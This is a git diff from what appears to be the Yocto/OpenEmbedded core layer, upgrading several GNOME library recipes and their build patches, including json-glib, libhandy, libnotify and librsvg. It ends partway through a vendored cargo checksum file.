diff --git a/meta/recipes-gnome/json-glib/json-glib_1.6.6.bb b/meta/recipes-gnome/json-glib/json-glib_1.6.6.bb
new file mode 100644
index 0000000000..c3572a16f2
--- /dev/null
+++ b/meta/recipes-gnome/json-glib/json-glib_1.6.6.bb
@@ -0,0 +1,32 @@
+SUMMARY = "JSON-GLib implements a full JSON parser using GLib and GObject"
+DESCRIPTION = "Use JSON-GLib it is possible to parse and generate valid JSON\
+ data structures, using a DOM-like API. JSON-GLib also offers GObject \
+integration, providing the ability to serialize and deserialize GObject \
+instances to and from JSON data types."
+HOMEPAGE = "https://wiki.gnome.org/Projects/JsonGlib"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/json-glib/issues"
+
+LICENSE = "LGPLv2.1"
+LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
+
+DEPENDS = "glib-2.0"
+
+GNOMEBASEBUILDCLASS = "meson"
+inherit gnomebase lib_package gobject-introspection gi-docgen gettext ptest-gnome manpages upstream-version-is-even
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+GIDOCGEN_MESON_ENABLE_FLAG = 'enabled'
+GIDOCGEN_MESON_DISABLE_FLAG = 'disabled'
+
+SRC_URI += " file://run-ptest"
+SRC_URI[archive.sha256sum] = "96ec98be7a91f6dde33636720e3da2ff6ecbb90e76ccaa49497f31a6855a490e"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
+PACKAGECONFIG[manpages] = "-Dman=true,-Dman=false,libxslt-native xmlto-native"
+PACKAGECONFIG[tests] = "-Dtests=true,-Dtests=false"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Currently it's not possible to disable gettext in Meson, so we need to force
+# this back on.
+USE_NLS:class-native = "yes"
diff --git a/meta/recipes-gnome/libdazzle/libdazzle_3.38.0.bb b/meta/recipes-gnome/libdazzle/libdazzle_3.38.0.bb
deleted file mode 100644
index a2a1aed7bc..0000000000
--- a/meta/recipes-gnome/libdazzle/libdazzle_3.38.0.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "The libdazzle library is a companion library to GObject and Gtk+."
-DESCRIPTION = "A wide range of components from utilities for GIO, widgets for \
-GTK+, an animation framework, state machines, paneling and high-performance \
-counters are included."
-LICENSE = "GPLv3+"
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/libdazzle"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/libdazzle/issues"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8f0e2cd40e05189ec81232da84bd6e1a"
-
-GNOMEBASEBUILDCLASS = "meson"
-inherit gnomebase upstream-version-is-even vala features_check gobject-introspection
-
-DEPENDS = "glib-2.0-native glib-2.0 gtk+3"
-
-SRC_URI[archive.sha256sum] = "e18af28217943bcec106585298a91ec3da48aa3ad62fd0992f23f0c70cd1678f"
-
-GIR_MESON_OPTION = 'with_introspection'
-
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
diff --git a/meta/recipes-gnome/libdazzle/libdazzle_3.42.0.bb b/meta/recipes-gnome/libdazzle/libdazzle_3.42.0.bb
new file mode 100644
index 0000000000..1b6109d218
--- /dev/null
+++ b/meta/recipes-gnome/libdazzle/libdazzle_3.42.0.bb
@@ -0,0 +1,19 @@
+SUMMARY = "The libdazzle library is a companion library to GObject and Gtk+."
+DESCRIPTION = "A wide range of components from utilities for GIO, widgets for \
+GTK+, an animation framework, state machines, paneling and high-performance \
+counters are included."
+LICENSE = "GPLv3+"
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/libdazzle"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/libdazzle/issues"
+LIC_FILES_CHKSUM = "file://COPYING;md5=8f0e2cd40e05189ec81232da84bd6e1a"
+
+GNOMEBASEBUILDCLASS = "meson"
+inherit gnomebase upstream-version-is-even vala features_check gobject-introspection
+
+DEPENDS = "glib-2.0-native glib-2.0 gtk+3"
+
+SRC_URI[archive.sha256sum] = "eae67a3b3d9cce408ee9ec0ab6adecb83e52eb53f9bc93713f4df1e84da16925"
+
+GIR_MESON_OPTION = 'with_introspection'
+
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
diff --git a/meta/recipes-gnome/libgudev/libgudev_234.bb b/meta/recipes-gnome/libgudev/libgudev_234.bb
deleted file mode 100644
index 9cea36df5b..0000000000
--- a/meta/recipes-gnome/libgudev/libgudev_234.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "GObject wrapper for libudev"
-DESCRIPTION = "This library makes it much simpler to use libudev from programs \
-already using GObject. It also makes it possible to easily use libudev from \
-other programming languages, such as Javascript, because of GObject \
-introspection support."
-HOMEPAGE = "https://wiki.gnome.org/Projects/libgudev"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/libgudev/issues"
-SRC_URI[archive.sha256sum] = "1baeacacf0db42fa073ad5183d1decce9317857416a2b0f82ce3370d711a2e37"
-
-DEPENDS = "glib-2.0 udev"
-
-EXTRA_OECONF = "--disable-umockdev"
-
-RCONFLICTS_${PN} = "systemd (<= 220)"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-inherit gnomebase gobject-introspection gtk-doc
-
-UPSTREAM_CHECK_URI = "http://ftp.gnome.org/pub/GNOME/sources/libgudev/"
-UPSTREAM_CHECK_REGEX = "(?P<pver>(\d+))"
diff --git a/meta/recipes-gnome/libgudev/libgudev_237.bb b/meta/recipes-gnome/libgudev/libgudev_237.bb
new file mode 100644
index 0000000000..57417f4e7c
--- /dev/null
+++ b/meta/recipes-gnome/libgudev/libgudev_237.bb
@@ -0,0 +1,31 @@
+SUMMARY = "GObject wrapper for libudev"
+DESCRIPTION = "This library makes it much simpler to use libudev from programs \
+already using GObject. It also makes it possible to easily use libudev from \
+other programming languages, such as Javascript, because of GObject \
+introspection support."
+HOMEPAGE = "https://wiki.gnome.org/Projects/libgudev"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/libgudev/issues"
+SRC_URI[archive.sha256sum] = "0d06b21170d20c93e4f0534dbb9b0a8b4f1119ffb00b4031aaeb5b9148b686aa"
+
+DEPENDS = "glib-2.0 udev"
+
+RCONFLICTS:${PN} = "systemd (<= 220)"
+
+LICENSE = "LGPLv2.1"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+GNOMEBASEBUILDCLASS = "meson"
+inherit gnomebase gobject-introspection gtk-doc
+
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+
+GTKDOC_MESON_OPTION = "gtk_doc"
+
+UPSTREAM_CHECK_URI = "http://ftp.gnome.org/pub/GNOME/sources/libgudev/"
+UPSTREAM_CHECK_REGEX = "(?P<pver>(\d+))"
+
+# This isn't a GNOME-style version do gnome_verdir fails. Just return the
+# version as that is how the directory is structured.
+def gnome_verdir(v):
+ return v
diff --git a/meta/recipes-gnome/libhandy/libhandy/0001-Add-private-headers.patch b/meta/recipes-gnome/libhandy/libhandy/0001-Add-private-headers.patch
new file mode 100644
index 0000000000..7b2a512738
--- /dev/null
+++ b/meta/recipes-gnome/libhandy/libhandy/0001-Add-private-headers.patch
@@ -0,0 +1,37 @@
+From e7c3e8fa00f6a68b2e0629db5ee115e641ea710e Mon Sep 17 00:00:00 2001
+From: Mingli Yu <mingli.yu@windriver.com>
+Date: Wed, 8 Dec 2021 07:35:52 +0000
+Subject: [PATCH] Add private headers
+
+After the commit(8157ecc Separate public and private enums) introduced,
+there comes a race as below:
+ | In file included from ../git/src/hdy-settings.c:11:
+ | ../git/src/hdy-settings-private.h:16:10: fatal error: hdy-enums-private.h: No such file or directory
+ | 16 | #include "hdy-enums-private.h"
+
+So also add private headers like private sources to libhandy_sources to
+fix the issue.
+
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/libhandy/-/merge_requests/796]
+
+Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+---
+ src/meson.build | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/meson.build b/src/meson.build
+index d087323..6f11f27 100644
+--- a/src/meson.build
++++ b/src/meson.build
+@@ -64,7 +64,7 @@ hdy_private_enums = gnome.mkenums('hdy-enums-private',
+ )
+
+ libhandy_public_sources += [hdy_public_enums[0]]
+-libhandy_private_sources += [hdy_private_enums[0]]
++libhandy_private_sources += hdy_private_enums
+ libhandy_generated_headers += [hdy_public_enums[1]]
+
+ src_headers = [
+--
+2.32.0
+
diff --git a/meta/recipes-gnome/libhandy/libhandy_1.0.1.bb b/meta/recipes-gnome/libhandy/libhandy_1.0.1.bb
deleted file mode 100644
index 146ef62f41..0000000000
--- a/meta/recipes-gnome/libhandy/libhandy_1.0.1.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "A library full of GTK+ widgets for mobile phones"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-SRC_URI = "git://gitlab.gnome.org/GNOME/${BPN}.git;protocol=https"
-SRCREV = "5cee0927b8b39dea1b2a62ec6d19169f73ba06c6"
-S = "${WORKDIR}/git"
-
-GIR_MESON_ENABLE_FLAG = 'enabled'
-GIR_MESON_DISABLE_FLAG = 'disabled'
-GTKDOC_MESON_OPTION = 'gtk_doc'
-
-inherit meson gobject-introspection vala gettext gtk-doc features_check
-
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
-
-DEPENDS += "gtk+3"
-
-PACKAGES =+ "${PN}-examples"
-FILES_${PN}-examples = "${bindir}"
diff --git a/meta/recipes-gnome/libhandy/libhandy_1.5.0.bb b/meta/recipes-gnome/libhandy/libhandy_1.5.0.bb
new file mode 100644
index 0000000000..605ef2b5fa
--- /dev/null
+++ b/meta/recipes-gnome/libhandy/libhandy_1.5.0.bb
@@ -0,0 +1,29 @@
+SUMMARY = "A library full of GTK+ widgets for mobile phones"
+DESCRIPTION = "Library with GTK widgets for mobile phones. Libhandy provides \
+GTK widgets and GObjects to ease developing applications for mobile phones. \
+It was developed by Purism (and used by several official GNOME projects) \
+to extend Gtk by providing mobile-friendly widgets and make the creation of \
+responsive apps easier."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/libhandy"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/libhandy/-/issues"
+LICENSE = "LGPLv2.1"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI = "git://gitlab.gnome.org/GNOME/libhandy.git;protocol=https;branch=master \
+ file://0001-Add-private-headers.patch \
+"
+SRCREV = "8fa8306a79215fc6ebf2483145da98bf9b2495ab"
+S = "${WORKDIR}/git"
+
+GIR_MESON_ENABLE_FLAG = 'enabled'
+GIR_MESON_DISABLE_FLAG = 'disabled'
+GTKDOC_MESON_OPTION = 'gtk_doc'
+
+inherit meson gobject-introspection vala gettext gtk-doc features_check
+
+ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+
+DEPENDS += "gtk+3"
+
+PACKAGES =+ "${PN}-examples"
+FILES:${PN}-examples = "${bindir}"
diff --git a/meta/recipes-gnome/libnotify/libnotify_0.7.9.bb b/meta/recipes-gnome/libnotify/libnotify_0.7.9.bb
index 29a28272e1..dd081f9f44 100644
--- a/meta/recipes-gnome/libnotify/libnotify_0.7.9.bb
+++ b/meta/recipes-gnome/libnotify/libnotify_0.7.9.bb
@@ -1,19 +1,26 @@
SUMMARY = "Library for sending desktop notifications to a notification daemon"
+DESCRIPTION = "It sends desktop notifications to a notification daemon, as defined \
+in the Desktop Notifications spec. These notifications can be used to inform \
+the user about an event or display some form of information without getting \
+in the user's way."
HOMEPAGE = "https://gitlab.gnome.org/GNOME/libnotify"
BUGTRACKER = "https://gitlab.gnome.org/GNOME/libnotify/issues"
SECTION = "libs"
LICENSE = "LGPLv2.1"
LIC_FILES_CHKSUM = "file://COPYING;md5=7fbc338309ac38fefcd64b04bb903e34"
-DEPENDS = "dbus gtk+3 glib-2.0"
+DEPENDS = "dbus glib-2.0 gdk-pixbuf"
+
+PACKAGECONFIG ?= ""
+PACKAGECONFIG[tests] = "-Dtests=true,-Dtests=false,gtk+3"
GNOMEBASEBUILDCLASS = "meson"
GTKDOC_MESON_OPTION = "gtk_doc"
GIR_MESON_ENABLE_FLAG = "enabled"
GIR_MESON_DISABLE_FLAG = "disabled"
inherit gnomebase gtk-doc features_check gobject-introspection
-# depends on gtk+3
-ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
+# depends on gtk+3 if tests are enabled
+ANY_OF_DISTRO_FEATURES = "${@bb.utils.contains('PACKAGECONFIG', 'tests', '${GTK3DISTROFEATURES}', '', d)}"
SRC_URI[archive.md5sum] = "ccd9c53364174cc8d13e18a1988faa76"
SRC_URI[archive.sha256sum] = "66c0517ed16df7af258e83208faaf5069727dfd66995c4bbc51c16954d674761"
@@ -23,6 +30,9 @@ EXTRA_OEMESON = "-Dman=false"
# there were times, we had two versions of libnotify (oe-core libnotify:0.6.x /
# meta-gnome libnotify3: 0.7.x)
PROVIDES += "libnotify3"
-RPROVIDES_${PN} += "libnotify3"
-RCONFLICTS_${PN} += "libnotify3"
-RREPLACES_${PN} += "libnotify3"
+RPROVIDES:${PN} += "libnotify3"
+RCONFLICTS:${PN} += "libnotify3"
+RREPLACES:${PN} += "libnotify3"
+
+# -7381 is specific to the NodeJS bindings
+CVE_CHECK_WHITELIST += "CVE-2013-7381"
diff --git a/meta/recipes-gnome/libportal/libportal_0.3.bb b/meta/recipes-gnome/libportal/libportal_0.3.bb
deleted file mode 100644
index 022628b1ac..0000000000
--- a/meta/recipes-gnome/libportal/libportal_0.3.bb
+++ /dev/null
@@ -1,13 +0,0 @@
-SUMMARY = "libportal provides GIO-style async APIs for most Flatpak portals."
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2"
-
-SRC_URI = "git://github.com/flatpak/${BPN}.git;protocol=https"
-SRCREV = "a609e06d0c4adc5c510cf9ac7b060db3d368e78f"
-S = "${WORKDIR}/git"
-
-GTKDOC_MESON_OPTION = 'gtk_doc'
-
-inherit meson gtk-doc
-
-DEPENDS += "glib-2.0 glib-2.0-native"
diff --git a/meta/recipes-gnome/libportal/libportal_0.4.bb b/meta/recipes-gnome/libportal/libportal_0.4.bb
new file mode 100644
index 0000000000..5817302688
--- /dev/null
+++ b/meta/recipes-gnome/libportal/libportal_0.4.bb
@@ -0,0 +1,17 @@
+SUMMARY = "libportal provides GIO-style async APIs for most Flatpak portals."
+DESCRIPTION = "It provides simple asynchronous wrappers for most Flatpak portals \
+with a familiar GObject API along side the D-Bus API"
+HOMEPAGE = "https://github.com/flatpak/libportal"
+BUGTRACKER = "https://github.com/flatpak/libportal/issues"
+LICENSE = "LGPLv2.1"
+LIC_FILES_CHKSUM = "file://COPYING;md5=5f30f0716dfdd0d91eb439ebec522ec2"
+
+SRC_URI = "git://github.com/flatpak/${BPN}.git;protocol=https;branch=master"
+SRCREV = "f68764e288ede516d902b131cc4fadded3804059"
+S = "${WORKDIR}/git"
+
+GTKDOC_MESON_OPTION = 'gtk_doc'
+
+inherit meson gtk-doc
+
+DEPENDS += "glib-2.0 glib-2.0-native"
diff --git a/meta/recipes-gnome/librsvg/librsvg/0001-Auto-detect-Bsymbolic-fixes-configure-on-macOS.patch b/meta/recipes-gnome/librsvg/librsvg/0001-Auto-detect-Bsymbolic-fixes-configure-on-macOS.patch
deleted file mode 100644
index 954bb60880..0000000000
--- a/meta/recipes-gnome/librsvg/librsvg/0001-Auto-detect-Bsymbolic-fixes-configure-on-macOS.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From b99891e31eb6ce550e7e1cb2ca592095b3050a93 Mon Sep 17 00:00:00 2001
-From: Brion Vibber <brion@pobox.com>
-Date: Sun, 25 Feb 2018 18:42:36 -0800
-Subject: Auto-detect -Bsymbolic, fixes configure on macOS
-
-The -Bsymbolic linker option is ELF-specific, and was breaking
-configure on macOS unless --disable-Bsymbolic was explicitly passed.
-
-Switching the behavior from requiring -Bsymbolic to be available
-by default to just warning and continuing on without.
-
-Fixes https://gitlab.gnome.org/GNOME/librsvg/issues/211
-
-Upstream-Status: Backport
-Signed-off-by: Adrian Bunk <bunk@stusta.de>
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 15b26b2d..9f8dce29 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -216,7 +216,7 @@ AM_CONDITIONAL([ENABLE_PIXBUF_LOADER],[test "$enable_pixbuf_loader" = "yes"])
- AC_ARG_ENABLE([Bsymbolic],
- [AS_HELP_STRING([--disable-Bsymbolic],
- [disable linking with -Bsymbolic])],
-- [],[enable_Bsymbolic=yes])
-+ [enable_Bsymbolic=no],[enable_Bsymbolic=auto])
-
- BSYMBOLIC_LDFLAG=
- if test "$enable_Bsymbolic" != "no"; then
---
-2.20.1
-
diff --git a/meta/recipes-gnome/librsvg/librsvg/0001-Makefile.am-pass-rust-target-to-cargo-also-when-not-.patch b/meta/recipes-gnome/librsvg/librsvg/0001-Makefile.am-pass-rust-target-to-cargo-also-when-not-.patch
new file mode 100644
index 0000000000..d7487c234c
--- /dev/null
+++ b/meta/recipes-gnome/librsvg/librsvg/0001-Makefile.am-pass-rust-target-to-cargo-also-when-not-.patch
@@ -0,0 +1,47 @@
+From 95b2cd0169cb1b4694c2bce67169b1aa1d5e2be0 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 21 Sep 2021 16:27:14 +0200
+Subject: [PATCH] Makefile.am: pass rust target to cargo also when not cross
+ compiling
+
+Otherwise oe-core's native build doesn't work either.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ Makefile.am | 2 --
+ configure.ac | 4 +---
+ 2 files changed, 1 insertion(+), 5 deletions(-)
+
+diff --git a/Makefile.am b/Makefile.am
+index e93714e..effe5d3 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -137,9 +137,7 @@ else
+ CARGO_RELEASE_ARGS=--release
+ endif
+
+-if CROSS_COMPILING
+ CARGO_TARGET_ARGS=--target=$(RUST_TARGET)
+-endif
+
+ CARGO_VERBOSE = $(cargo_verbose_$(V))
+ cargo_verbose_ = $(cargo_verbose_$(AM_DEFAULT_VERBOSITY))
+diff --git a/configure.ac b/configure.ac
+index 41590ca..84cd56b 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -255,9 +255,7 @@ AC_ARG_VAR(RUST_TARGET, [Set rust target (default=$host)])
+ : ${RUST_TARGET:=$host}
+
+ AM_CONDITIONAL([CROSS_COMPILING], [test "x$cross_compiling" = xyes])
+-AS_IF([test "x$cross_compiling" = "xyes"], [
+- RUST_TARGET_SUBDIR="$RUST_TARGET/$RUST_TARGET_SUBDIR"
+-])
++RUST_TARGET_SUBDIR="$RUST_TARGET/$RUST_TARGET_SUBDIR"
+ AC_SUBST([RUST_TARGET_SUBDIR])
+
+ dnl ===========================================================================
+--
+2.20.1
+
diff --git a/meta/recipes-gnome/librsvg/librsvg/0001-Remove-non-reproducible-SRCDIR.patch b/meta/recipes-gnome/librsvg/librsvg/0001-Remove-non-reproducible-SRCDIR.patch
deleted file mode 100644
index 75fc7f9d0b..0000000000
--- a/meta/recipes-gnome/librsvg/librsvg/0001-Remove-non-reproducible-SRCDIR.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-From bea5156cd7e7122715b26c769c35928141a1da2c Mon Sep 17 00:00:00 2001
-From: Joshua Watt <JPEWhacker@gmail.com>
-Date: Mon, 18 Nov 2019 14:46:34 -0600
-Subject: [PATCH] Remove non-reproducible SRCDIR
-
-Removes SRCDIR as the prefix for finding the test font. This wouldn't
-work anyway, since that path is not present on the target.
-
-This patch is specific to OE, since it appears that this entire method
-of testing was removed when upstream was re-written in rust
-
-Upstream-Status: Inappropriate [OE-specific, no longer present upstream]
-Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
----
- rsvg-cairo-draw.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/rsvg-cairo-draw.c b/rsvg-cairo-draw.c
-index caa9104..cfb7ed2 100644
---- a/rsvg-cairo-draw.c
-+++ b/rsvg-cairo-draw.c
-@@ -398,7 +398,7 @@ set_font_options_for_testing (PangoContext *context)
- static void
- create_font_config_for_testing (RsvgCairoRender *render)
- {
-- const char *font_path = SRCDIR "/tests/resources/LiberationSans-Regular.ttf";
-+ const char *font_path = "/tests/resources/LiberationSans-Regular.ttf";
-
- if (render->font_config_for_testing != NULL)
- return;
diff --git a/meta/recipes-gnome/librsvg/librsvg/0001-Update-checksums-for-modified-files-for-libc.patch b/meta/recipes-gnome/librsvg/librsvg/0001-Update-checksums-for-modified-files-for-libc.patch
new file mode 100644
index 0000000000..e6b0d3d960
--- /dev/null
+++ b/meta/recipes-gnome/librsvg/librsvg/0001-Update-checksums-for-modified-files-for-libc.patch
@@ -0,0 +1,24 @@
+From 35cc5ce53a7c00d03dab9d58d37c2ec948082878 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Sun, 31 Oct 2021 20:28:21 +0100
+Subject: [PATCH] Update checksums for modified files for libc
+
+Upstream-Status: Inappropriate [previous patches need to be upstreamed]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ vendor/libc/.cargo-checksum.json | 6 +++++-
+ 1 file changed, 5 insertions(+), 1 deletion(-)
+
+diff --git a/vendor/libc/.cargo-checksum.json b/vendor/libc/.cargo-checksum.json
+index 8cf4eba..ac7cc51 100644
+--- a/vendor/libc/.cargo-checksum.json
++++ b/vendor/libc/.cargo-checksum.json
+@@ -1 +1,5 @@
+-{"files":{"CONTRIBUTING.md":"752eea5a703d11b485c6b5f195f51bd2c79aa5159b619ce09555c779e1fb586b","Cargo.toml":"d6f6253f05d207b6c676e5647b31ad0ca3f05da3ac05db47f81d4ebd901ba22f","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-MIT":"a8d47ff51ca256f56a8932dba07660672dbfe3004257ca8de708aac1415937a1","README.md":"8228847944f1332882fbb00275b6f30e4a8aad08a13569c25d52cac012cc2a47","build.rs":"a71b92db5077b33af4ee6f1de33574ac33c2b292840eddbe3f7cce37f1fb16b9","rustfmt.toml":"eaa2ea84fc1ba0359b77680804903e07bb38d257ab11986b95b158e460f787b2","src/fixed_width_ints.rs":"34c60f12ec5eeb90f13ec3b954427532111c2446e69617616a97aefc1086a9f1","src/fuchsia/aarch64.rs":"378776a9e40766154a54c94c2a7b4675b5c302a38e6e42da99e67bfbaee60e56","src/fuchsia/align.rs":"ae1cf8f011a99737eabeb14ffff768e60f13b13363d7646744dbb0f443dab3d6","src/fuchsia/mod.rs":"520300ff260d377930f2f456135ec9a3ac7740a949ce7bf5269c0dc60d56c0df","src/fuchsia/no_align.rs":"303f3f1b255e0088b5715094353cf00476131d8e94e6aebb3f469557771c8b8a","src/fuchsia/x86_64.rs":"93a3632b5cf67d2a6bcb7dc0a558605252d5fe689e0f38d8aa2ec5852255ac87","src/hermit/aarch64.rs":"86048676e335944c37a63d0083d0f368ae10ceccefeed9debb3bbe08777fc682","src/hermit/mod.rs":"d3bfce41e4463d4be8020a2d063c9bfa8b665f45f1cc6cbf3163f5d01e7cb21f","src/hermit/x86_64.rs":"ab832b7524e5fb15c49ff7431165ab1a37dc4667ae0b58e8306f4c539bfa110c","src/lib.rs":"e92c56b42f1bd1b9e66be2a9b73aca6ba29024b9bd17c16f327dfbe8831e3f86","src/macros.rs":"c1a299d5327ba033f079388f8ac8a44848f9aeff6a72e9be6dfa70f4769cc619","src/psp.rs":"dd31aabd46171d474ec5828372e28588935120e7355c90c105360d8fa9264c1c","src/sgx.rs":"16a95cdefc81c5ee00d8353a60db363c4cc3e0f75abcd5d0144723f2a306ed1b","src/solid/aarch64.rs":"8cdae0cc37c43dabd4253a534e700bec6b6a57293c0c8e36c9ce16675d16799a","src/solid/arm.rs":"852b58a0837fde089cb9b5af131bf653daeb8c726f7540032756db8b7d4f8149","src/solid/mod.rs":"98dc29c3e5773318ba258a4a2b7407f25aa52d40885a0024fbe43676fe54d14b","src/switch.rs":"9da3dd39b3de45a7928789926e8572d00e1e11a39e6f7289a1349aadce90edba","src/unix/align.rs":"2cdc7c826ef7ae61f5171c5ae8c445a743d86f1a7f2d9d7e4ceeec56d6874f65","src/unix/bsd/apple/b32/align.rs":"ec833a747866fe19ca2d9b4d3c9ff0385faba5edf4bd0d15fa68884c40b0e26c","src/unix/bsd/apple/b32/mod.rs":"2546ad3eb6aecb95f916648bc63264117c92b4b4859532b34cb011e4c75a5a72","src/unix/bsd/apple/b64/aarch64/align.rs":"f0c321265dd7671f16106b84951ac7dd77ed2e65c6623cbf2d29e76531984770","src/unix/bsd/apple/b64/aarch64/mod.rs":"44c217a4f263afe7a97435de9323d20a96c37836f899ca0925306d4b7e073c27","src/unix/bsd/apple/b64/align.rs":"ec833a747866fe19ca2d9b4d3c9ff0385faba5edf4bd0d15fa68884c40b0e26c","src/unix/bsd/apple/b64/mod.rs":"f5e278a1af7fb358891d1c9be4eb7e815aaca0c5cb738d0c3604ba2208a856f7","src/unix/bsd/apple/b64/x86_64/align.rs":"ec833a747866fe19ca2d9b4d3c9ff0385faba5edf4bd0d15fa68884c40b0e26c","src/unix/bsd/apple/b64/x86_64/mod.rs":"8c87c5855038aae5d433c8f5eb3b29b0a175879a0245342b3bfd83bdf4cfd936","src/unix/bsd/apple/mod.rs":"96f101bdab46a9f0a5249a8143d4a9def055284a0c2bd62bce15532a5bed428c","src/unix/bsd/freebsdlike/dragonfly/errno.rs":"8295b8bb0dfd38d2cdb4d9192cdeeb534cc6c3b208170e64615fa3e0edb3e578","src/unix/bsd/freebsdlike/dragonfly/mod.rs":"6ea4129eb5d6da5c09f8cf3692b5e7716f058b48d1e8c61115691709eda7ce51","src/unix/bsd/freebsdlike/freebsd/aarch64.rs":"2a215bd6136b8617aacedf9be738ccee94da9d29b418e9a78101d6291c182352","src/unix/bsd/freebsdlike/freebsd/arm.rs":"59d6a670eea562fb87686e243e0a84603d29a2028a3d4b3f99ccc01bd04d2f47","src/unix/bsd/freebsdlike/freebsd/freebsd11/b64.rs":"9808d152c1196aa647f1b0f0cf84dac8c930da7d7f897a44975545e3d9d17681","src/unix/bsd/freebsdlike/freebsd/freebsd11/mod.rs":"bf0a994e2079b8aad9da5efd3a3b9a7194a53ae60887a25c57964fb68499e847","src/unix/bsd/freebsdlike/freebsd/freebsd12/b64.rs":"61cbe45f8499bedb168106b686d4f8239472f25c7553b069eec2afe197ff2df6","src/unix/bsd/freebsdlike/freebsd/freebsd12/mod.rs":"295b3e3b67394f731d4e88d169e3d3d1d80026b99898745cd0d1d163f085ff61","src/unix/bsd/freebsdlike/freebsd/freebsd12/x86_64.rs":"2df36a7f122f6d6e5753cfb4d22e915cc80f6bc91c0161b3daae55a481bfd052","src/unix/bsd/freebsdlike/freebsd/freebsd13/b64.rs":"61cbe45f8499bedb168106b686d4f8239472f25c7553b069eec2afe197ff2df6","src/unix/bsd/freebsdlike/freebsd/freebsd13/mod.rs":"98f6af2021b434f9c3197094312b457774381220f31a22c3b15b1fe8a60cb365","src/unix/bsd/freebsdlike/freebsd/freebsd13/x86_64.rs":"2df36a7f122f6d6e5753cfb4d22e915cc80f6bc91c0161b3daae55a481bfd052","src/unix/bsd/freebsdlike/freebsd/mod.rs":"6b825079ffe3f9aec6e78ea6b50acedcb91a4e1312d721105b7f8b1555f254df","src/unix/bsd/freebsdlike/freebsd/powerpc.rs":"9ca3f82f88974e6db5569f2d76a5a3749b248a31747a6c0da5820492bdfeca42","src/unix/bsd/freebsdlike/freebsd/powerpc64.rs":"2dae3ecc87eac3b11657aa98915def55fc4b5c0de11fe26aae23329a54628a9a","src/unix/bsd/freebsdlike/freebsd/x86.rs":"c5005e3249eb7c93cfbac72a9e9272320d80ce7983da990ceb05a447f59a02c5","src/unix/bsd/freebsdlike/freebsd/x86_64/align.rs":"0e1f69a88fca1c32874b1daf5db3d446fefbe518dca497f096cc9168c39dde70","src/unix/bsd/freebsdlike/freebsd/x86_64/mod.rs":"c3a0111252e201c172b99e7d9cbee4cf088d3dd47995110e819f04276bccd198","src/unix/bsd/freebsdlike/mod.rs":"98d322b22050a80636841287d9ed12549a2004a9dbe151763e5b1270f5e73ea3","src/unix/bsd/mod.rs":"2fed08973739d7f6a7412b204724af64b1a915c712689c250cf9a08263ba05ff","src/unix/bsd/netbsdlike/mod.rs":"4e9da54e541773c7ad4cca9dade1df00f28f2fdac3f8df5957f4c74b7e082344","src/unix/bsd/netbsdlike/netbsd/aarch64.rs":"65dcb58d11e8d8028401a9d07ca3eb4cb4f053e04249cc877353449d84ccc4cb","src/unix/bsd/netbsdlike/netbsd/arm.rs":"58cdbb70b0d6f536551f0f3bb3725d2d75c4690db12c26c034e7d6ec4a924452","src/unix/bsd/netbsdlike/netbsd/mod.rs":"f6de6981382af87518e4a5b6d26c2ea551ed74640dd7166107a824af30ced243","src/unix/bsd/netbsdlike/netbsd/powerpc.rs":"ee7ff5d89d0ed22f531237b5059aa669df93a3b5c489fa641465ace8d405bf41","src/unix/bsd/netbsdlike/netbsd/sparc64.rs":"9489f4b3